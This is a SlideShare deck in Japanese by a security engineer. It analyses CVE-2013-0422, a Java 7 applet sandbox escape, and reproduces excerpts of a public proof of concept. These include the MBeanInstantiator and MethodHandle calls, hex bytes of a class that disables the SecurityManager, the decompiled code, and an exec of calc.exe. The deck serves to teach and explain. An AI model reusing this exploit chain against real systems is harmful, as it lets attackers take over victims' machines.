Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.
■ 自己紹介  twitter:abend  セキュリティエンジニアをやってます。(得意科目はアルコール)  メインは、Webアプリケーションセキュリティ。仕事なのか趣味なのか  分からないところで、いろいろなことに首を突っ込んでます。  最近...
■ で、今日の内容は CVE-2013-0422についてです。 まず、CVEとはCommon Vulnerabilities and Exposures Numberの略で、 脆弱性情報のデータベース。脆弱性ごとに固有のCVE番号が割り振られる...
■脆弱性って 「不正アクセスやウィルス等の攻撃により、 機能や性能を損なう原因となりうるセキュリティ上の問題箇所」       ~ IPA 情報セキュリティ早期警戒パートナーシップガイドライン ~                   アプリ・O...
■ CVE-2013-0422   Java7に存在する脆弱性につけられて番号。   2013年1月10日に報告されたゼロデイの脆弱性でした。   ゼロデイとは、セキュリティパッチが公開されていない脆弱性。   根本的な対策がないため、悪用され...
■Javaって オブジェクト指向で、様々な環境で動作が可能なプログラム言語です。 Write Once, Run Anywhere(一度書くと、どこでも動く)                   ソースコード                  ...
■Java AppletとServletの違い サーバ側で実行されるのか、クライアント側で実行されるのかが大きく異なる。   Appletの場合              Servletの場合        サーバ               ...
■Java Appletに関してJava Appletは、サーバからJavaプログラムを利用者のブラウザにダウンロードし、利用者のブラウザ上で動作するJavaプログラム。以下の制限(サンドボックス)が存在する。※サンドボックスとは砂場。影響範囲...
■ では、本日の脆弱性は問題の箇所① com.sun.jmx.mbeanserver.MBeanInstantiatorクラスのfindClassメソッド② java.lang.invoke.MethodHandleクラスのinvokeWith...
■どうなるのか(公開された検証プログラムの場合)脆弱なプログラム(Java)の欠陥を悪用して意図しないプログラム(Calc.exe)を動作させる。                        意図しないプログラム    脆弱なアプリ     ...
■ 具体的に見ていこう  PoC(Proof of Concept:実証コード)を見ていきます。  いろいろ調べたところ、ロシア人が下記に公開しているとの情報をGET!  https://xxxxxx/index.php?showtopic=2...
■ MBeanInstantiatorクラスの問題 MBeanInstantiatorクラスのfindClassにセキュリティチェックに不備が ある。                    ~     PoCの一部抜粋             ...
■ MBeanInstantiatorクラスの問題 findClass関数は、loadClass関数を呼び出している。 /** * Gets the class for the specified class name using the MB...
■ MethodHandlerクラスの問題 invokeWithArguments関数は、引数のClassを生成する。  MethodHandles.Lookup localLookup = MethodHandles.publicLookup...
■ClassLoaderクラスのdefineClass関数の動作引数に指定されたバイト配列をClassに変換する。動的にClassを生成できるようになる。public static String ByteArrayWithSecOff ="CA...
■リバースエンジニアリングしてみるまずは、先ほどの文字列をバイナリファイルに変換。Hex2binなどテキストファイルをバイナリファイル(Classファイル)に変換してくれるツールがあるので、そういったものを利用。次に、JADでバイナリファイル(...
■SecurityManagerがオフられると・・・ 本来は、実行できないコードが実行させられてしまう。 MethodHandle localMethodHandle5 = (MethodHandle)localMethodHandle3.in...
■いろいろと言ってきましたがPoCだとCalc.exeが立ち上がる。                       18
■もちろんリバースエンジニアリングしたコードを直接実行できるように(MethodHandlerなどを介さずに)修正したが、もちろん不正プログラム(Calc.exe)は、実行できない。import java.applet.Applet;impor...
■もっとやろうとすれば・・・Calc.exeを実行するのとは違い、PCを乗っ取ることが可能。               攻撃者                 被害者                                      ...
21
■まとめ       22
Cve 2013-0422
Upcoming SlideShare
Loading in …5
×

Cve 2013-0422

1,542 views

Published on

  • Be the first to comment

  • Be the first to like this

Cve 2013-0422

  1. 1. ■ 自己紹介 twitter:abend セキュリティエンジニアをやってます。(得意科目はアルコール) メインは、Webアプリケーションセキュリティ。仕事なのか趣味なのか 分からないところで、いろいろなことに首を突っ込んでます。 最近、CVE-2013-0422を好きになりました。 本でました。 2
  2. 2. ■ で、今日の内容は CVE-2013-0422についてです。 まず、CVEとはCommon Vulnerabilities and Exposures Numberの略で、 脆弱性情報のデータベース。脆弱性ごとに固有のCVE番号が割り振られる。 http://cve.mitre.org/ 3
  3. 3. ■脆弱性って 「不正アクセスやウィルス等の攻撃により、 機能や性能を損なう原因となりうるセキュリティ上の問題箇所」 ~ IPA 情報セキュリティ早期警戒パートナーシップガイドライン ~ アプリ・OS 入力 例: ロジック回避 ・ロジック回避による権限昇格 ・コマンド呼び出しによる不正操作 コマンド呼出 ・意図せぬ出力による情報漏えい ・サービスの停止による利用不可 意図せぬ出力 ...etc 出力 サービス停止 4
  4. 4. ■ CVE-2013-0422 Java7に存在する脆弱性につけられて番号。 2013年1月10日に報告されたゼロデイの脆弱性でした。 ゼロデイとは、セキュリティパッチが公開されていない脆弱性。 根本的な対策がないため、悪用されるとセキュリティ会社は非常につらい 思いをする。 5
  5. 5. ■Javaって オブジェクト指向で、様々な環境で動作が可能なプログラム言語です。 Write Once, Run Anywhere(一度書くと、どこでも動く) ソースコード (設計図とも言うら コンパイルし しい) て、中間ファイ ル(Classファイ ル)を生成。 Javaコンパイラ Class ファイル 「CAFEBABE」 から始まるバイ Java Virtual Machine(JVM) ナリファイル。 JVMが各環境に 合わせ、実行。 6
  6. 6. ■Java AppletとServletの違い サーバ側で実行されるのか、クライアント側で実行されるのかが大きく異なる。 Appletの場合 Servletの場合 サーバ サーバ Servlet Classファイル JVM をダウンロード 実行 Class Class ファイル ファイル 実行 結果を出力 JVM ブラウザ クライアント 一般利用者 7
  7. 7. ■Java Appletに関してJava Appletは、サーバからJavaプログラムを利用者のブラウザにダウンロードし、利用者のブラウザ上で動作するJavaプログラム。以下の制限(サンドボックス)が存在する。※サンドボックスとは砂場。影響範囲を限定させ、セキュリティレベルを向上させるための仕組み。<制限内容>・利用者のPCのメモリへのアクセス制限・利用者のPCのファイルシステムへのアクセス制限・利用者のPCで他プログラムの起動制限( System.exec()、Runtime.exe()など)・OS固有のライブラリのロードやメソッド呼び出しの定義の禁止・利用者のPCのユーザやマシンに関する情報の取得の禁止 (System.getProperty()など)・起動しているアプレットが属さないThreadGroupの生成、操作の禁止・ClassLoader、SecurityManager、ContentHandlerFactory、SocketImplFactory、 URLStreamHandlerFactoryのインスタンスの生成禁止 By OREILLY Javaネットワークプログラミング脆弱性を悪用された場合に、制限を突破され、本来は実行できない動作を利用者に行わせることが可能となる。 8
  8. 8. ■ では、本日の脆弱性は問題の箇所① com.sun.jmx.mbeanserver.MBeanInstantiatorクラスのfindClassメソッド② java.lang.invoke.MethodHandleクラスのinvokeWithArgumentsメソッド(CVE-2012-5088)影響不正なJavaAppletにアクセスすると攻撃者にパソコンを乗っ取られる可能性がある。攻撃用プログラムが公開されている。また、攻撃に悪用されているそうです(by IPA)。 ① 細工されたJavaAppletにアクセス。 不正なJavaApplet 一般利用者 ② パソコンを乗っ取る。 インターネット 攻撃者 9
  9. 9. ■どうなるのか(公開された検証プログラムの場合)脆弱なプログラム(Java)の欠陥を悪用して意図しないプログラム(Calc.exe)を動作させる。 意図しないプログラム 脆弱なアプリ 実行させられる公開された検証用プログラム(詳細はのちほど)は、Calc.exeを動作させていた。本当に悪用する場合、利用者が意図しないプログラムとして動かすのはKeyLoggerやBackdoorを動作させ、対象PCから情報を搾取したり、乗っ取りもする。 10
  10. 10. ■ 具体的に見ていこう PoC(Proof of Concept:実証コード)を見ていきます。 いろいろ調べたところ、ロシア人が下記に公開しているとの情報をGET! https://xxxxxx/index.php?showtopic=23719&st=0 実際にアクセスした。 ねえのかよ (`Д´) ムキー! 結果的にGoogle先生に聞いたら、教えてくれた。 11
  11. 11. ■ MBeanInstantiatorクラスの問題 MBeanInstantiatorクラスのfindClassにセキュリティチェックに不備が ある。 ~ PoCの一部抜粋 ~ JmxMBeanServerBuilder localJmxMBeanServerBuilder = new JmxMBeanServerBuilder(); JmxMBeanServer localJmxMBeanServer = (JmxMBeanServer)localJmxMBeanServerBuilder.newMBeanServer("", null, null); MBeanInstantiator localMBeanInstantiator = localJmxMBeanServer.getMBeanInstantiator(); ClassLoader a = null; Class localClass1 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.Context", a); Class localClass2 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader", a); findClass関数は、第一引数で指定されているクラス名のClassオブジェクト を生成する。 12
  12. 12. ■ MBeanInstantiatorクラスの問題 findClass関数は、loadClass関数を呼び出している。 /** * Gets the class for the specified class name using the MBean * Interceptors classloader */ public Class findClass(String className, ClassLoader loader) throws ReflectionException { return loadClass(className,loader); } static Class<?> loadClass(String className, ClassLoader loader) throws ReflectionException { Class< ? > theClass; if (className == null) { throw new RuntimeOperationsException(new IllegalArgumentException("The class name cannot be null"), "Exception occurred during object instantiation"); } try { if (loader == null) loader = MBeanInstantiator.class.getClassLoader(); if (loader != null) { theClass = Class.forName(className, false, loader); } else { theClass = Class.forName(className); Class<?> localClass1 = } } catch (ClassNotFoundException e) { Class.forName("sun.org.mozilla.javascript.internal.Context“ throw new ReflectionException(e, ,false,MBeanInstantiator.class.getClassLoader()); "The MBean class could not be loaded"); } return theClass; }置き換えて、PoCを試してみたが駄目だった。 何が問題かというと、どんなクラスでもインスタンスを生成できるという点。 13
  13. 13. ■ MethodHandlerクラスの問題 invokeWithArguments関数は、引数のClassを生成する。 MethodHandles.Lookup localLookup = MethodHandles.publicLookup(); MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { MethodType.class }); ~~ 割愛 ~~ MethodHandle localMethodHandle4 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass1, "createClassLoader", localMethodType4 }); Object localObject2 = localMethodHandle4.invokeWithArguments(new Object[] { localObject1, null }); MethodType localMethodType5 = MethodType.methodType(Class.class, String.class, new Class[] { byte[].class }); MethodHandle localMethodHandle5 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass2, "defineClass", localMethodType5 }); Class<?> localClass3 = (Class<?>)localMethodHandle5.invokeWithArguments(new Object[] { localObject2, null, arrayOfByte }); localClass3.newInstance(); ClassLoaderクラスのdefineClass関数は、arrayByte(バイトの配列)を 引数に指定しオブジェクトを作成。 arrayByteで指定するバイトの配列は、Javaの中間ファイルであるClass ファイルのバイト配列。 14
  14. 14. ■ClassLoaderクラスのdefineClass関数の動作引数に指定されたバイト配列をClassに変換する。動的にClassを生成できるようになる。public static String ByteArrayWithSecOff ="CAFEBABE0000003200270A000500180A0019001A07001B0A001C001D07001" +"E07001F0700200100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C65010" +"0124C6F63616C5661726961626C655461626C65010001650100154C6A6176612F6C616E672F457863657074696F6E3B0" +"10004746869730100034C423B01000D537461636B4D61705461626C6507001F07001B01000372756E01001428294C6A6" +"176612F6C616E672F4F626A6563743B01000A536F7572636546696C65010006422E6A6176610C000800090700210C002" +"200230100136A6176612F6C616E672F457863657074696F6E0700240C002500260100106A6176612F6C616E672F4F626" +"A656374010001420100276A6176612F73656375726974792F50726976696C65676564457863657074696F6E416374696" +"F6E01001E6A6176612F73656375726974792F416363657373436F6E74726F6C6C657201000C646F50726976696C65676" +"56401003D284C6A6176612F73656375726974792F50726976696C65676564457863657074696F6E416374696F6E3B294" +"C6A6176612F6C616E672F4F626A6563743B0100106A6176612F6C616E672F53797374656D01001273657453656375726" +"974794D616E6167657201001E284C6A6176612F6C616E672F53656375726974794D616E616765723B295600210006000" +"500010007000000020001000800090001000A0000006C000100020000000E2AB700012AB8000257A700044CB10001000" +"40009000C00030003000B000000120004000000080004000B0009000C000D000D000C000000160002000D0000000D000" +"E00010000000E000F001000000011000000100002FF000C00010700120001070013000001001400150001000A0000003" +"A000200010000000C01B80004BB000559B70001B000000002000B0000000A00020000001000040011000C0000000C000" +"10000000C000F0010000000010016000000020017";public byte[] hex2Byte(String paramString) { byte[] arrayOfByte = new byte[paramString.length() / 2]; for (int i = 0; i < arrayOfByte.length; i++) { arrayOfByte[i] = (byte)Integer.parseInt(paramString.substring(2 * i, 2 * i + 2), 16); } return arrayOfByte;}バイト配列だと、何をするプログラムなのか不明。 15
  15. 15. ■リバースエンジニアリングしてみるまずは、先ほどの文字列をバイナリファイルに変換。Hex2binなどテキストファイルをバイナリファイル(Classファイル)に変換してくれるツールがあるので、そういったものを利用。次に、JADでバイナリファイル(Classファイル)から元のソースコードにリバースエンジニアリング。その結果・・・import java.security.AccessController;import java.security.PrivilegedExceptionAction;public class B implements PrivilegedExceptionAction { public B() { try { AccessController.doPrivileged(this); }catch(Exception e) { } } public Object run() { System.setSecurityManager(null); return new Object(); }}SecurityManagerをオフってます。 16
  16. 16. ■SecurityManagerがオフられると・・・ 本来は、実行できないコードが実行させられてしまう。 MethodHandle localMethodHandle5 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass2, "defineClass", localMethodType5 }); Class<?> localClass3 = (Class<?>)localMethodHandle5.invokeWithArguments(new Object[] { localObject2, null, arrayOfByte }); localClass3.newInstance(); Runtime.getRuntime().exec("calc.exe"); newInstance()が実行されたタイミングで、SecurityManagerがオフられる。 その後のexec関数で指定されたローカルPC側のコマンドが実行されてしまう。 冒頭で説明した通り、Calc.exeだけの実行であればリスクはないと言えるかも しれないが、exec関数で別な悪意のあるプログラムが指定された場合に、攻撃 者にPCを乗っ取られたり、情報を搾取されたりする。 17
  17. 17. ■いろいろと言ってきましたがPoCだとCalc.exeが立ち上がる。 18
  18. 18. ■もちろんリバースエンジニアリングしたコードを直接実行できるように(MethodHandlerなどを介さずに)修正したが、もちろん不正プログラム(Calc.exe)は、実行できない。import java.applet.Applet;import java.security.AccessController;import java.security.PrivilegedExceptionAction;public class SecurityOff extends Applet implements PrivilegedExceptionAction{ public SecurityOff(){ try { AccessController.doPrivileged(this); }catch(Exception e) { } } public Object run() { System.setSecurityManager(null); try{ Runtime.getRuntime().exec("calc.exe"); }catch(Exception e){ } return new Object(); }} 19
  19. 19. ■もっとやろうとすれば・・・Calc.exeを実行するのとは違い、PCを乗っ取ることが可能。 攻撃者 被害者 20
  20. 20. 21
  21. 21. ■まとめ 22

×